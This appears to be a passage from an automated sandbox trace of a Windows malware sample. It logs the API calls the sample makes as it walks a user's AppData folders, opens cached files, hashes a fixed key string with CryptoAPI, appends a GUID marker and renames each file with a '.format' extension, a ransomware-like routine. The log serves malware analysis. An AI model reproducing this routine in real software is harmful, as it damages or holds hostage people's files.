[0069.933] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0069.933] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0069.933] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0069.933] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0069.933] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0069.933] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0069.933] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0069.934] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0069.934] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0069.934] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0069.934] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0069.934] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0069.934] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0069.934] PathFindFileNameW (pszPath="") returned="" [0069.934] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0069.935] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.935] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="all", cAlternateFileName="")) returned 1 [0069.935] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="brt", cAlternateFileName="")) returned 1 [0069.936] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="brz", cAlternateFileName="")) returned 1 [0069.936] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dan", cAlternateFileName="")) returned 1 [0069.936] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dut", cAlternateFileName="")) returned 1 [0069.936] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eng", cAlternateFileName="")) returned 1 [0069.936] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="frn", cAlternateFileName="")) returned 1 [0069.936] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="grm", cAlternateFileName="")) returned 1 [0069.936] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="itl", cAlternateFileName="")) returned 1 [0069.936] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nrw", cAlternateFileName="")) returned 1 [0069.936] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="prt", cAlternateFileName="")) returned 1 [0069.936] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="spn", cAlternateFileName="")) returned 1 [0069.936] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="swd", cAlternateFileName="")) returned 1 [0069.936] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="swd", cAlternateFileName="")) returned 0 [0069.936] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0069.937] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0069.937] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0069.937] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\") returned="36USA68T\\" [0069.937] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0069.937] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0069.937] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0069.937] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0069.937] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0069.937] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0069.937] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0069.937] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0069.937] PathFindFileNameW (pszPath="") returned="" [0069.938] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0069.938] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.938] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54b05050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="imagesrv.adition[1].xml", cAlternateFileName="IMAGES~1.XML")) returned 1 [0069.938] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml") returned=".xml" [0069.938] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0069.938] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=13) returned 1 [0069.938] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0069.941] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.941] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xd, lpOverlapped=0x0) returned 1 [0069.942] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.942] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.942] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.942] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf90) returned 1 [0069.943] CryptCreateHash (in: hProv=0x6abf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.943] CryptHashData (hHash=0x31bee20, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.943] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.943] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.943] GetLastError () returned 0x0 [0069.943] CryptDestroyHash (hHash=0x31bee20) returned 1 [0069.943] CryptReleaseContext (hProv=0x6abf90, dwFlags=0x0) returned 1 [0069.943] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.943] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.943] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.943] CloseHandle (hObject=0x5c8) returned 1 [0069.943] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml.format")) returned 1 [0069.945] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54b05050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="imagesrv.adition[1].xml", cAlternateFileName="IMAGES~1.XML")) returned 0 [0069.945] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0069.945] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0069.945] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0069.945] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\") returned="3O75JDME\\" [0069.945] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0069.945] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0069.945] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0069.945] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0069.945] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0069.945] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0069.945] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0069.945] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0069.945] PathFindFileNameW (pszPath="") returned="" [0069.945] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x605dd8a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0069.952] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x605dd8a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.952] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x605dd8a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x696aec80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="www.google[1].xml", cAlternateFileName="WWWGOO~1.XML")) returned 1 [0069.953] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml") returned=".xml" [0069.953] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0069.954] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=13) returned 1 [0069.954] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0069.956] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.956] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xd, lpOverlapped=0x0) returned 1 [0069.957] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.957] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.957] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.957] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf90) returned 1 [0069.958] CryptCreateHash (in: hProv=0x6abf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.958] CryptHashData (hHash=0x31bee20, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.958] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.958] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.958] GetLastError () returned 0x0 [0069.958] CryptDestroyHash (hHash=0x31bee20) returned 1 [0069.958] CryptReleaseContext (hProv=0x6abf90, dwFlags=0x0) returned 1 [0069.958] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.958] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.958] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.959] CloseHandle (hObject=0x5c8) returned 1 [0069.959] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml.format")) returned 1 